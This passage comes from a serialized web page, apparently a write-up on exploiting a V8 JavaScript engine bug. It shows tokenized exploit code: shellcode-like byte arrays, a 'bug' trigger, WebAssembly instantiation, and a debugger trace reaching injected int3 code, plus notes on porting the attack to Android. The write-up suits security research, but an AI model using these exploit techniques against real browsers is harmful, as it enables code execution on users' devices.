"tag":504,"props":133722,"children":133723},{"style":1440},[133724],{"type":28,"value":3001},{"type":23,"tag":504,"props":133726,"children":133727},{"style":523},[133728],{"type":28,"value":2484},{"type":23,"tag":504,"props":133730,"children":133731},{"class":506,"line":851},[133732,133736,133740,133744,133748,133752,133756,133760,133764,133768,133772,133776,133780,133784,133788,133792,133796,133800,133804,133808,133812,133816,133820,133824,133828,133832,133836,133840,133844,133848,133852,133856,133860,133864,133868,133872,133876,133880,133884,133888,133892,133896,133900,133904,133908,133912,133916,133920,133924,133928,133932,133936,133940,133944,133948,133952,133956,133960,133964,133968,133972,133976],{"type":23,"tag":504,"props":133733,"children":133734},{"style":1440},[133735],{"type":28,"value":132948},{"type":23,"tag":504,"props":133737,"children":133738},{"style":523},[133739],{"type":28,"value":576},{"type":23,"tag":504,"props":133741,"children":133742},{"style":1440},[133743],{"type":28,"value":3001},{"type":23,"tag":504,"props":133745,"children":133746},{"style":523},[133747],{"type":28,"value":576},{"type":23,"tag":504,"props":133749,"children":133750},{"style":1440},[133751],{"type":28,"value":133620},{"type":23,"tag":504,"props":133753,"children":133754},{"style":523},[133755],{"type":28,"value":576},{"type":23,"tag":504,"props":133757,"children":133758},{"style":1440},[133759],{"type":28,"value":3001},{"type":23,"tag":504,"props":133761,"children":133762},{"style":523},[133763],{"type":28,"value":576},{"type":23,"tag":504,"props":133765,"children":133766},{"style":1440},[133767],{"type":28,"value":3001},{"type":23,"tag":504,"props":133769,"children":133770},{"style":523},[133771],{"type":28,"value":576},{"type":23,"tag":504,"props":133773,"children":133774},{"style":1440},[133775],{"type":28,"value":3001},{"type":23,"tag":504,"props":133777,"children":133778},{"style":523},[133779],{"type":28,"value":576},{"type":23,"tag":504,"props":133781,"children":133782},{"style":1440},[133783],{"type":28,"value":16508},{"type":23,"tag":504,"props":133785,"children":133786},{"style":523},[133787],{"type":28,"value":576},{"type":23,"tag":504,"props":133789,"children":133790},{"style":1440},[133791],{"type":28,"value":3001},{"type":23,"tag":504,"props":133793,"children":133794},{"style":523},[133795],{"type":28,"value":576},{"type":23,"tag":504,"props":133797,"children":133798},{"style":1440},[133799],{"type":28,"value":3001},{"type":23,"tag":504,"props":133801,"children":133802},{"style":523},[133803],{"type":28,"value":576},{"type":23,"tag":504,"props":133805,"children":133806},{"style":1440},[133807],{"type":28,"value":3001},{"type":23,"tag":504,"props":133809,"children":133810},{"style":523},[133811],{"type":28,"value":576},{"type":23,"tag":504,"props":133813,"children":133814},{"style":1440},[133815],{"type":28,"value":3001},{"type":23,"tag":504,"props":133817,"children":133818},{"style":523},[133819],{"type":28,"value":576},{"type":23,"tag":504,"props":133821,"children":133822},{"style":1440},[133823],{"type":28,"value":3001},{"type":23,"tag":504,"props":133825,"children":133826},{"style":523},[133827],{"type":28,"value":576},{"type":23,"tag":504,"props":133829,"children":133830},{"style":1440},[133831],{"type":28,"value":3001},{"type":23,"tag":504,"props":133833,"children":133834},{"style":523},[133835],{"type":28,"value":576},{"type":23,"tag":504,"props":133837,"children":133838},{"style":1440},[133839],{"type":28,"value":3001},{"type":23,"tag":504,"props":133841,"children":133842},{"style":523},[133843],{"type":28,"value":576},{"type":23,"tag":504,"props":133845,"children":133846},{"style":1440},[133847],{"type":28,"value":3001},{"type":23,"tag":504,"props":133849,"children":133850},{"style":523},[133851],{"type":28,"value":576},{"type":23,"tag":504,"props":133853,"children":133854},{"style":1440},[133855],{"type":28,"value":3001},{"type":23,"tag":504,"props":133857,"children":133858},{"style":523},[133859],{"type":28,"value":576},{"type":23,"tag":504,"props":133861,"children":133862},{"style":1440},[133863],{"type":28,"value":3001},{"type":23,"tag":504,"props":133865,"children":133866},{"style":523},[133867],{"type":28,"value":576},{"type":23,"tag":504,"props":133869,"children":133870},{"style":1440},[133871],{"type":28,"value":3001},{"type":23,"tag":504,"props":133873,"children":133874},{"style":523},[133875],{"type":28,"value":576},{"type":23,"tag":504,"props":133877,"children":133878},{"style":1440},[133879],{"type":28,"value":28404},{"type":23,"tag":504,"props":133881,"children":133882},{"style":523},[133883],{"type":28,"value":576},{"type":23,"tag":504,"props":133885,"children":133886},{"style":1440},[133887],{"type":28,"value":3001},{"type":23,"tag":504,"props":133889,"children":133890},{"style":523},[133891],{"type":28,"value":576},{"type":23,"tag":504,"props":133893,"children":133894},{"style":1440},[133895],{"type":28,"value":3001},{"type":23,"tag":504,"props":133897,"children":133898},{"style":523},[133899],{"type":28,"value":576},{"type":23,"tag":504,"props":133901,"children":133902},{"style":1440},[133903],{"type":28,"value":3001},{"type":23,"tag":504,"props":133905,"children":133906},{"style":523},[133907],{"type":28,"value":576},{"type":23,"tag":504,"props":133909,"children":133910},{"style":1440},[133911],{"type":28,"value":3001},{"type":23,"tag":504,"props":133913,"children":133914},{"style":523},[133915],{"type":28,"value":576},{"type":23,"tag":504,"props":133917,"children":133918},{"style":1440},[133919],{"type":28,"value":3001},{"type":23,"tag":504,"props":133921,"children":133922},{"style":523},[133923],{"type":28,"value":576},{"type":23,"tag":504,"props":133925,"children":133926},{"style":1440},[133927],{"type":28,"value":3001},{"type":23,"tag":504,"props":133929,"children":133930},{"style":523},[133931],{"type":28,"value":576},{"type":23,"tag":504,"props":133933,"children":133934},{"style":1440},[133935],{"type":28,"value":3001},{"type":23,"tag":504,"props":133937,"children":133938},{"style":523},[133939],{"type":28,"value":576},{"type":23,"tag":504,"props":133941,"children":133942},{"style":1440},[133943],{"type":28,"value":3001},{"type":23,"tag":504,"props":133945,"children":133946},{"style":523},[133947],{"type":28,"value":576},{"type":23,"tag":504,"props":133949,"children":133950},{"style":1440},[133951],{"type":28,"value":3001},{"type":23,"tag":504,"props":133953,"children":133954},{"style":523},[133955],{"type":28,"value":576},{"type":23,"tag":504,"props":133957,"children":133958},{"style":1440},[133959],{"type":28,"value":3001},{"type":23,"tag":504,"props":133961,"children":133962},{"style":523},[133963],{"type":28,"value":576},{"type":23,"tag":504,"props":133965,"children":133966},{"style":1440},[133967],{"type":28,"value":3001},{"type":23,"tag":504,"props":133969,"children":133970},{"style":523},[133971],{"type":28,"value":576},{"type":23,"tag":504,"props":133973,"children":133974},{"style":1440},[133975],{"type":28,"value":3001},{"type":23,"tag":504,"props":133977,"children":133978},{"style":523},[133979],{"type":28,"value":2484},{"type":23,"tag":504,"props":133981,"children":133982},{"class":506,"line":869},[133983,133987,133991,133995,133999,134003,134007,134011,134015,134019,134023,134027,134031,134035,134039,134043,134047,134051,134055,134059,134063,134067,134071,134075,134079,134083,134087,134091,134095,134099,134103,134107,134111,134116,134120,134124,134128,134133,134137,134142,134146,134151,134155,134159,134163,134168,134172,134176,134180,134185,134189,134193,134197,134202],{"type":23,"tag":504,"props":133984,"children":133985},{"style":1440},[133986],{"type":28,"value":132948},{"type":23,"tag":504,"props":133988,"children":133989},{"style":523},[133990],{"type":28,"value":576},{"type":23,"tag":504,"props":133992,"children":133993},{"style":1440},[133994],{"type":28,"value":3001},{"type":23,"tag":504,"props":133996,"children":133997},{"style":523},[133998],{"type":28,"value":576},{"type":23,"tag":504,"props":134000,"children":134001},{"style":1440},[134002],{"type":28,"value":3001},{"type":23,"tag":504,"props":134004,"children":134005},{"style":523},[134006],{"type":28,"value":576},{"type":23,"tag":504,"props":134008,"children":134009},{"style":1440},[134010],{"type":28,"value":3001},{"type":23,"tag":504,"props":134012,"children":134013},{"style":523},[134014],{"type":28,"value":576},{"type":23,"tag":504,"props":134016,"children":134017},{"style":1440},[134018],{"type":28,"value":3001},{"type":23,"tag":504,"props":134020,"children":134021},{"style":523},[134022],{"type":28,"value":576},{"type":23,"tag":504,"props":134024,"children":134025},{"style":1440},[134026],{"type":28,"value":3001},{"type":23,"tag":504,"props":134028,"children":134029},{"style":523},[134030],{"type":28,"value":576},{"type":23,"tag":504,"props":134032,"children":134033},{"style":1440},[134034],{"type":28,"value":3001},{"type":23,"tag":504,"props":134036,"children":134037},{"style":523},[134038],{"type":28,"value":576},{"type":23,"tag":504,"props":134040,"children":134041},{"style":1440},[134042],{"type":28,"value":3001},{"type":23,"tag":504,"props":134044,"children":134045},{"style":523},[134046],{"type":28,"value":576},{"type":23,"tag":504,"props":134048,"children":134049},{"style":1440},[134050],{"type":28,"value":3001},{"type":23,"tag":504,"props":134052,"children":134053},{"style":523},[134054],{"type":28,"value":576},{"type":23,"tag":504,"props":134056,"children":134057},{"style":1440},[134058],{"type":28,"value":3001},{"type":23,"tag":504,"props":134060,"children":134061},{"style":523},[134062],{"type":28,"value":576},{"type":23,"tag":504,"props":134064,"children":134065},{"style":1440},[134066],{"type":28,"value":3001},{"type":23,"tag":504,"props":134068,"children":134069},{"style":523},[134070],{"type":28,"value":576},{"type":23,"tag":504,"props":134072,"children":134073},{"style":1440},[134074],{"type":28,"value":3001},{"type":23,"tag":504,"props":134076,"children":134077},{"style":523},[134078],{"type":28,"value":576},{"type":23,"tag":504,"props":134080,"children":134081},{"style":1440},[134082],{"type":28,"value":3001},{"type":23,"tag":504,"props":134084,"children":134085},{"style":523},[134086],{"type":28,"value":576},{"type":23,"tag":504,"props":134088,"children":134089},{"style":1440},[134090],{"type":28,"value":3001},{"type":23,"tag":504,"props":134092,"children":134093},{"style":523},[134094],{"type":28,"value":576},{"type":23,"tag":504,"props":134096,"children":134097},{"style":1440},[134098],{"type":28,"value":3001},{"type":23,"tag":504,"props":134100,"children":134101},{"style":523},[134102],{"type":28,"value":576},{"type":23,"tag":504,"props":134104,"children":134105},{"style":1440},[134106],{"type":28,"value":2100},{"type":23,"tag":504,"props":134108,"children":134109},{"style":523},[134110],{"type":28,"value":576},{"type":23,"tag":504,"props":134112,"children":134113},{"style":1440},[134114],{"type":28,"value":134115},"204",{"type":23,"tag":504,"props":134117,"children":134118},{"style":523},[134119],{"type":28,"value":576},{"type":23,"tag":504,"props":134121,"children":134122},{"style":1440},[134123],{"type":28,"value":43756},{"type":23,"tag":504,"props":134125,"children":134126},{"style":523},[134127],{"type":28,"value":576},{"type":23,"tag":504,"props":134129,"children":134130},{"style":1440},[134131],{"type":28,"value":134132},"137",{"type":23,"tag":504,"props":134134,"children":134135},{"style":523},[134136],{"type":28,"value":576},{"type":23,"tag":504,"props":134138,"children":134139},{"style":1440},[134140],{"type":28,"value":134141},"229",{"type":23,"tag":504,"props":134143,"children":134144},{"style":523},[134145],{"type":28,"value":576},{"type":23,"tag":504,"props":134147,"children":134148},{"style":1440},[134149],{"type":28,"value":134150},"106",{"type":23,"tag":504,"props":134152,"children":134153},{"style":523},[134154],{"type":28,"value":576},{"type":23,"tag":504,"props":134156,"children":134157},{"style":1440},[134158],{"type":28,"value":3055},{"type":23,"tag":504,"props":134160,"children":134161},{"style":523},[134162],{"type":28,"value":576},{"type":23,"tag":504,"props":134164,"children":134165},{"style":1440},[134166],{"type":28,"value":134167},"86",{"type":23,"tag":504,"props":134169,"children":134170},{"style":523},[134171],{"type":28,"value":576},{"type":23,"tag":504,"props":134173,"children":134174},{"style":1440},[134175],{"type":28,"value":43756},{"type":23,"tag":504,"props":134177,"children":134178},{"style":523},[134179],{"type":28,"value":576},{"type":23,"tag":504,"props":134181,"children":134182},{"style":1440},[134183],{"type":28,"value":134184},"139",{"type":23,"tag":504,"props":134186,"children":134187},{"style":523},[134188],{"type":28,"value":576},{"type":23,"tag":504,"props":134190,"children":134191},{"style":1440},[134192],{"type":28,"value":134141},{"type":23,"tag":504,"props":134194,"children":134195},{"style":523},[134196],{"type":28,"value":576},{"type":23,"tag":504,"props":134198,"children":134199},{"style":1440},[134200],{"type":28,"value":134201},"93",{"type":23,"tag":504,"props":134203,"children":134204},{"style":523},[134205],{"type":28,"value":2484},{"type":23,"tag":504,"props":134207,"children":134208},{"class":506,"line":878},[134209,134214,134218,134222,134226,134230,134234,134238,134242,134246,134250,134254,134258,134262,134266,134270,134274,134278,134282,134286,134290,134294,134298,134302,134306,134310,134314,134318,134322,134326,134330,134334,134338,134342,134346,134350,134354,134358,134362,134366,134370,134374,134378,134382,134386,134390,134394,134398,134402,134406,134410,134414,134418,134422,134426,134430,134434,134438,134442,134446],{"type":23,"tag":504,"props":134210,"children":134211},{"style":1440},[134212],{"type":28,"value":134213},"    195",{"type":23,"tag":504,"props":134215,"children":134216},{"style":523},[134217],{"type":28,"value":576},{"type":23,"tag":504,"props":134219,"children":134220},{"style":1440},[134221],{"type":28,"value":43284},{"type":23,"tag":504,"props":134223,"children":134224},{"style":523},[134225],{"type":28,"value":576},{"type":23,"tag":504,"props":134227,"children":134228},{"style":1440},[134229],{"type":28,"value":58592},{"type":23,"tag":504,"props":134231,"children":134232},{"style":523},[134233],{"type":28,"value":576},{"type":23,"tag":504,"props":134235,"children":134236},{"style":1440},[134237],{"type":28,"value":95418},{"type":23,"tag":504,"props":134239,"children":134240},{"style":523},[134241],{"type":28,"value":576},{"type":23,"tag":504,"props":134243,"children":134244},{"style":1440},[134245],{"type":28,"value":3001},{"type":23,"tag":504,"props":134247,"children":134248},{"style":523},[134249],{"type":28,"value":576},{"type":23,"tag":504,"props":134251,"children":134252},{"style":1440},[134253],{"type":28,"value":16508},{"type":23,"tag":504,"props":134255,"children":134256},{"style":523},[134257],{"type":28,"value":576},{"type":23,"tag":504,"props":134259,"children":134260},{"style":1440},[134261],{"type":28,"value":3001},{"type":23,"tag":504,"props":134263,"children":134264},{"style":523},[134265],{"type":28,"value":576},{"type":23,"tag":504,"props":134267,"children":134268},{"style":1440},[134269],{"type":28,"value":3001},{"type":23,"tag":504,"props":134271,"children":134272},{"style":523},[134273],{"type":28,"value":576},{"type":23,"tag":504,"props":134275,"children":134276},{"style":1440},[134277],{"type":28,"value":3001},{"type":23,"tag":504,"props":134279,"children":134280},{"style":523},[134281],{"type":28,"value":576},{"type":23,"tag":504,"props":134283,"children":134284},{"style":1440},[134285],{"type":28,"value":3001},{"type":23,"tag":504,"props":134287,"children":134288},{"style":523},[134289],{"type":28,"value":576},{"type":23,"tag":504,"props":134291,"children":134292},{"style":1440},[134293],{"type":28,"value":3001},{"type":23,"tag":504,"props":134295,"children":134296},{"style":523},[134297],{"type":28,"value":576},{"type":23,"tag":504,"props":134299,"children":134300},{"style":1440},[134301],{"type":28,"value":3001},{"type":23,"tag":504,"props":134303,"children":134304},{"style":523},[134305],{"type":28,"value":576},{"type":23,"tag":504,"props":134307,"children":134308},{"style":1440},[134309],{"type":28,"value":3001},{"type":23,"tag":504,"props":134311,"children":134312},{"style":523},[134313],{"type":28,"value":576},{"type":23,"tag":504,"props":134315,"children":134316},{"style":1440},[134317],{"type":28,"value":3001},{"type":23,"tag":504,"props":134319,"children":134320},{"style":523},[134321],{"type":28,"value":576},{"type":23,"tag":504,"props":134323,"children":134324},{"style":1440},[134325],{"type":28,"value":16508},{"type":23,"tag":504,"props":134327,"children":134328},{"style":523},[134329],{"type":28,"value":576},{"type":23,"tag":504,"props":134331,"children":134332},{"style":1440},[134333],{"type":28,"value":3001},{"type":23,"tag":504,"props":134335,"children":134336},{"style":523},[134337],{"type":28,"value":576},{"type":23,"tag":504,"props":134339,"children":134340},{"style":1440},[134341],{"type":28,"value":3001},{"type":23,"tag":504,"props":134343,"children":134344},{"style":523},[134345],{"type":28,"value":576},{"type":23,"tag":504,"props":134347,"children":134348},{"style":1440},[134349],{"type":28,"value":3001},{"type":23,"tag":504,"props":134351,"children":134352},{"style":523},[134353],{"type":28,"value":576},{"type":23,"tag":504,"props":134355,"children":134356},{"style":1440},[134357],{"type":28,"value":3001},{"type":23,"tag":504,"props":134359,"children":134360},{"style":523},[134361],{"type":28,"value":576},{"type":23,"tag":504,"props":134363,"children":134364},{"style":1440},[134365],{"type":28,"value":3001},{"type":23,"tag":504,"props":134367,"children":134368},{"style":523},[134369],{"type":28,"value":576},{"type":23,"tag":504,"props":134371,"children":134372},{"style":1440},[134373],{"type":28,"value":3001},{"type":23,"tag":504,"props":134375,"children":134376},{"style":523},[134377],{"type":28,"value":576},{"type":23,"tag":504,"props":134379,"children":134380},{"style":1440},[134381],{"type":28,"value":3001},{"type":23,"tag":504,"props":134383,"children":134384},{"style":523},[134385],{"type":28,"value":576},{"type":23,"tag":504,"props":134387,"children":134388},{"style":1440},[134389],{"type":28,"value":3001},{"type":23,"tag":504,"props":134391,"children":134392},{"style":523},[134393],{"type":28,"value":576},{"type":23,"tag":504,"props":134395,"children":134396},{"style":1440},[134397],{"type":28,"value":3001},{"type":23,"tag":504,"props":134399,"children":134400},{"style":523},[134401],{"type":28,"value":576},{"type":23,"tag":504,"props":134403,"children":134404},{"style":1440},[134405],{"type":28,"value":3001},{"type":23,"tag":504,"props":134407,"children":134408},{"style":523},[134409],{"type":28,"value":576},{"type":23,"tag":504,"props":134411,"children":134412},{"style":1440},[134413],{"type":28,"value":3001},{"type":23,"tag":504,"props":134415,"children":134416},{"style":523},[134417],{"type":28,"value":576},{"type":23,"tag":504,"props":134419,"children":134420},{"style":1440},[134421],{"type":28,"value":3001},{"type":23,"tag":504,"props":134423,"children":134424},{"style":523},[134425],{"type":28,"value":576},{"type":23,"tag":504,"props":134427,"children":134428},{"style":1440},[134429],{"type":28,"value":3001},{"type":23,"tag":504,"props":134431,"children":134432},{"style":523},[134433],{"type":28,"value":576},{"type":23,"tag":504,"props":134435,"children":134436},{"style":1440},[134437],{"type":28,"value":3001},{"type":23,"tag":504,"props":134439,"children":134440},{"style":523},[134441],{"type":28,"value":576},{"type":23,"tag":504,"props":134443,"children":134444},{"style":1440},[134445],{"type":28,"value":3001},{"type":23,"tag":504,"props":134447,"children":134448},{"style":523},[134449],{"type":28,"value":2484},{"type":23,"tag":504,"props":134451,"children":134452},{"class":506,"line":1221},[134453,134457,134461,134465,134469,134473,134477,134481,134485,134489,134493,134497,134501,134505,134509,134513,134517,134521,134525,134529,134533,134537,134541,134545,134549,134553,134557,134561,134565,134569,134573,134577,134581,134585,134589,134593,134597,134601,134605,134609,134613,134617,134621,134625,134629,134633,134637,134641,134645,134649,134653,134658,134662,134666],{"type":23,"tag":504,"props":134454,"children":134455},{"style":1440},[134456],{"type":28,"value":132948},{"type":23,"tag":504,"props":134458,"children":134459},{"style":523},[134460],{"type":28,"value":576},{"type":23,"tag":504,"props":134462,"children":134463},{"style":1440},[134464],{"type":28,"value":3001},{"type":23,"tag":504,"props":134466,"children":134467},{"style":523},[134468],{"type":28,"value":576},{"type":23,"tag":504,"props":134470,"children":134471},{"style":1440},[134472],{"type":28,"value":3001},{"type":23,"tag":504,"props":134474,"children":134475},{"style":523},[134476],{"type":28,"value":576},{"type":23,"tag":504,"props":134478,"children":134479},{"style":1440},[134480],{"type":28,"value":3001},{"type":23,"tag":504,"props":134482,"children":134483},{"style":523},[134484],{"type":28,"value":576},{"type":23,"tag":504,"props":134486,"children":134487},{"style":1440},[134488],{"type":28,"value":3001},{"type":23,"tag":504,"props":134490,"children":134491},{"style":523},[134492],{"type":28,"value":576},{"type":23,"tag":504,"props":134494,"children":134495},{"style":1440},[134496],{"type":28,"value":3001},{"type":23,"tag":504,"props":134498,"children":134499},{"style":523},[134500],{"type":28,"value":576},{"type":23,"tag":504,"props":134502,"children":134503},{"style":1440},[134504],{"type":28,"value":3001},{"type":23,"tag":504,"props":134506,"children":134507},{"style":523},[134508],{"type":28,"value":576},{"type":23,"tag":504,"props":134510,"children":134511},{"style":1440},[134512],{"type":28,"value":3001},{"type":23,"tag":504,"props":134514,"children":134515},{"style":523},[134516],{"type":28,"value":576},{"type":23,"tag":504,"props":134518,"children":134519},{"style":1440},[134520],{"type":28,"value":3001},{"type":23,"tag":504,"props":134522,"children":134523},{"style":523},[134524],{"type":28,"value":576},{"type":23,"tag":504,"props":134526,"children":134527},{"style":1440},[134528],{"type":28,"value":3001},{"type":23,"tag":504,"props":134530,"children":134531},{"style":523},[134532],{"type":28,"value":576},{"type":23,"tag":504,"props":134534,"children":134535},{"style":1440},[134536],{"type":28,"value":3001},{"type":23,"tag":504,"props":134538,"children":134539},{"style":523},[134540],{"type":28,"value":576},{"type":23,"tag":504,"props":134542,"children":134543},{"style":1440},[134544],{"type":28,"value":3001},{"type":23,"tag":504,"props":134546,"children":134547},{"style":523},[134548],{"type":28,"value":576},{"type":23,"tag":504,"props":134550,"children":134551},{"style":1440},[134552],{"type":28,"value":3001},{"type":23,"tag":504,"props":134554,"children":134555},{"style":523},[134556],{"type":28,"value":576},{"type":23,"tag":504,"props":134558,"children":134559},{"style":1440},[134560],{"type":28,"value":3001},{"type":23,"tag":504,"props":134562,"children":134563},{"style":523},[134564],{"type":28,"value":576},{"type":23,"tag":504,"props":134566,"children":134567},{"style":1440},[134568],{"type":28,"value":3001},{"type":23,"tag":504,"props":134570,"children":134571},{"style":523},[134572],{"type":28,"value":576},{"type":23,"tag":504,"props":134574,"children":134575},{"style":1440},[134576],{"type":28,"value":3001},{"type":23,"tag":504,"props":134578,"children":134579},{"style":523},[134580],{"type":28,"value":576},{"type":23,"tag":504,"props":134582,"children":134583},{"style":1440},[134584],{"type":28,"value":3001},{"type":23,"tag":504,"props":134586,"children":134587},{"style":523},[134588],{"type":28,"value":576},{"type":23,"tag":504,"props":134590,"children":134591},{"style":1440},[134592],{"type":28,"value":3001},{"type":23,"tag":504,"props":134594,"children":134595},{"style":523},[134596],{"type":28,"value":576},{"type":23,"tag":504,"props":134598,"children":134599},{"style":1440},[134600],{"type":28,"value":3001},{"type":23,"tag":504,"props":134602,"children":134603},{"style":523},[134604],{"type":28,"value":576},{"type":23,"tag":504,"props":134606,"children":134607},{"style":1440},[134608],{"type":28,"value":3001},{"type":23,"tag":504,"props":134610,"children":134611},{"style":523},[134612],{"type":28,"value":576},{"type":23,"tag":504,"props":134614,"children":134615},{"style":1440},[134616],{"type":28,"value":3001},{"type":23,"tag":504,"props":134618,"children":134619},{"style":523},[134620],{"type":28,"value":576},{"type":23,"tag":504,"props":134622,"children":134623},{"style":1440},[134624],{"type":28,"value":3001},{"type":23,"tag":504,"props":134626,"children":134627},{"style":523},[134628],{"type":28,"value":576},{"type":23,"tag":504,"props":134630,"children":134631},{"style":1440},[134632],{"type":28,"value":3001},{"type":23,"tag":504,"props":134634,"children":134635},{"style":523},[134636],{"type":28,"value":576},{"type":23,"tag":504,"props":134638,"children":134639},{"style":1440},[134640],{"type":28,"value":28404},{"type":23,"tag":504,"props":134642,"children":134643},{"style":523},[134644],{"type":28,"value":576},{"type":23,"tag":504,"props":134646,"children":134647},{"style":1440},[134648],{"type":28,"value":134201},{"type":23,"tag":504,"props":134650,"children":134651},{"style":523},[134652],{"type":28,"value":576},{"type":23,"tag":504,"props":134654,"children":134655},{"style":1440},[134656],{"type":28,"value":134657},"198",{"type":23,"tag":504,"props":134659,"children":134660},{"style":523},[134661],{"type":28,"value":576},{"type":23,"tag":504,"props":134663,"children":134664},{"style":1440},[134665],{"type":28,"value":3001},{"type":23,"tag":504,"props":134667,"children":134668},{"style":523},[134669],{"type":28,"value":2484},{"type":23,"tag":504,"props":134671,"children":134672},{"class":506,"line":1276},[134673],{"type":23,"tag":504,"props":134674,"children":134675},{"style":523},[134676],{"type":28,"value":133235},{"type":23,"tag":504,"props":134678,"children":134679},{"class":506,"line":1285},[134680,134684,134689,134693,134698,134702,134706,134710,134714,134718,134722],{"type":23,"tag":504,"props":134681,"children":134682},{"style":511},[134683],{"type":28,"value":6838},{"type":23,"tag":504,"props":134685,"children":134686},{"style":529},[134687],{"type":28,"value":134688}," r",{"type":23,"tag":504,"props":134690,"children":134691},{"style":598},[134692],{"type":28,"value":648},{"type":23,"tag":504,"props":134694,"children":134695},{"style":517},[134696],{"type":28,"value":134697}," bug",{"type":23,"tag":504,"props":134699,"children":134700},{"style":523},[134701],{"type":28,"value":526},{"type":23,"tag":504,"props":134703,"children":134704},{"style":529},[134705],{"type":28,"value":132566},{"type":23,"tag":504,"props":134707,"children":134708},{"style":523},[134709],{"type":28,"value":576},{"type":23,"tag":504,"props":134711,"children":134712},{"style":529},[134713],{"type":28,"value":123893},{"type":23,"tag":504,"props":134715,"children":134716},{"style":523},[134717],{"type":28,"value":320},{"type":23,"tag":504,"props":134719,"children":134720},{"style":529},[134721],{"type":28,"value":123893},{"type":23,"tag":504,"props":134723,"children":134724},{"style":523},[134725],{"type":28,"value":630},{"type":23,"tag":504,"props":134727,"children":134728},{"class":506,"line":1294},[134729,134734,134738,134742,134746,134750,134754,134758,134763,134767],{"type":23,"tag":504,"props":134730,"children":134731},{"style":529},[134732],{"type":28,"value":134733},"  result",{"type":23,"tag":504,"props":134735,"children":134736},{"style":598},[134737],{"type":28,"value":648},{"type":23,"tag":504,"props":134739,"children":134740},{"style":523},[134741],{"type":28,"value":801},{"type":23,"tag":504,"props":134743,"children":134744},{"style":544},[134745],{"type":28,"value":31893},{"type":23,"tag":504,"props":134747,"children":134748},{"style":529},[134749],{"type":28,"value":134688},{"type":23,"tag":504,"props":134751,"children":134752},{"style":523},[134753],{"type":28,"value":320},{"type":23,"tag":504,"props":134755,"children":134756},{"style":517},[134757],{"type":28,"value":56544},{"type":23,"tag":504,"props":134759,"children":134760},{"style":523},[134761],{"type":28,"value":134762},"()).",{"type":23,"tag":504,"props":134764,"children":134765},{"style":529},[134766],{"type":28,"value":38128},{"type":23,"tag":504,"props":134768,"children":134769},{"style":523},[134770],{"type":28,"value":866},{"type":23,"tag":504,"props":134772,"children":134773},{"class":506,"line":1302},[134774,134778,134783,134787,134791,134795,134799,134803,134807,134811],{"type":23,"tag":504,"props":134775,"children":134776},{"style":511},[134777],{"type":28,"value":35165},{"type":23,"tag":504,"props":134779,"children":134780},{"style":529},[134781],{"type":28,"value":134782}," wasm_instance",{"type":23,"tag":504,"props":134784,"children":134785},{"style":598},[134786],{"type":28,"value":648},{"type":23,"tag":504,"props":134788,"children":134789},{"style":511},[134790],{"type":28,"value":30911},{"type":23,"tag":504,"props":134792,"children":134793},{"style":529},[134794],{"type":28,"value":132549},{"type":23,"tag":504,"props":134796,"children":134797},{"style":523},[134798],{"type":28,"value":320},{"type":23,"tag":504,"props":134800,"children":134801},{"style":517},[134802],{"type":28,"value":132603},{"type":23,"tag":504,"props":134804,"children":134805},{"style":523},[134806],{"type":28,"value":526},{"type":23,"tag":504,"props":134808,"children":134809},{"style":529},[134810],{"type":28,"value":8065},{"type":23,"tag":504,"props":134812,"children":134813},{"style":523},[134814],{"type":28,"value":630},{"type":23,"tag":504,"props":134816,"children":134817},{"class":506,"line":1311},[134818,134822,134826,134830,134834,134838,134842,134846,134850],{"type":23,"tag":504,"props":134819,"children":134820},{"style":511},[134821],{"type":28,"value":35165},{"type":23,"tag":504,"props":134823,"children":134824},{"style":529},[134825],{"type":28,"value":31948},{"type":23,"tag":504,"props":134827,"children":134828},{"style":598},[134829],{"type":28,"value":648},{"type":23,"tag":504,"props":134831,"children":134832},{"style":529},[134833],{"type":28,"value":134782},{"type":23,"tag":504,"props":134835,"children":134836},{"style":523},[134837],{"type":28,"value":320},{"type":23,"tag":504,"props":134839,"children":134840},{"style":529},[134841],{"type":28,"value":36862},{"type":23,"tag":504,"props":134843,"children":134844},{"style":523},[134845],{"type":28,"value":320},{"type":23,"tag":504,"props":134847,"children":134848},{"style":529},[134849],{"type":28,"value":132652},{"type":23,"tag":504,"props":134851,"children":134852},{"style":523},[134853],{"type":28,"value":866},{"type":23,"tag":504,"props":134855,"children":134856},{"class":506,"line":1334},[134857,134862],{"type":23,"tag":504,"props":134858,"children":134859},{"style":517},[134860],{"type":28,"value":134861},"  f",{"type":23,"tag":504,"props":134863,"children":134864},{"style":523},[134865],{"type":28,"value":2647},{"type":23,"tag":504,"props":134867,"children":134868},{"class":506,"line":1370},[134869],{"type":23,"tag":504,"props":134870,"children":134871},{"style":523},[134872],{"type":28,"value":100736},{"type":23,"tag":24,"props":134874,"children":134875},{},[134876],{"type":28,"value":134877},"Running this in a debugger shows the expected breakpoint:",{"type":23,"tag":494,"props":134879,"children":134881},{"code":134880},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[134882],{"type":23,"tag":56,"props":134883,"children":134884},{"__ignoreMap":7},[134885],{"type":28,"value":134880},{"type":23,"tag":82,"props":134887,"children":134889},{"id":134888},"porting-to-android",[134890],{"type":28,"value":134891},"Porting to Android",{"type":23,"tag":24,"props":134893,"children":134894},{},[134895,134897,134902,134904,134909,134911,134916,134918,134924],{"type":28,"value":134896},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":23,"tag":56,"props":134898,"children":134900},{"className":134899},[],[134901],{"type":28,"value":131681},{"type":28,"value":134903}," fails. We cross-compiled ",{"type":23,"tag":56,"props":134905,"children":134907},{"className":134906},[],[134908],{"type":28,"value":130840},{"type":28,"value":134910}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":23,"tag":56,"props":134912,"children":134914},{"className":134913},[],[134915],{"type":28,"value":131681},{"type":28,"value":134917}," returned ",{"type":23,"tag":56,"props":134919,"children":134921},{"className":134920},[],[134922],{"type":28,"value":134923},"undefined",{"type":28,"value":320},{"type":23,"tag":24,"props":134926,"children":134927},{},[134928,134930,134935,134937,134942],{"type":28,"value":134929},"Instead, we modified the bytecode to call ",{"type":23,"tag":56,"props":134931,"children":134933},{"className":134932},[],[134934],{"type":28,"value":131707},{"type":28,"value":134936}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls 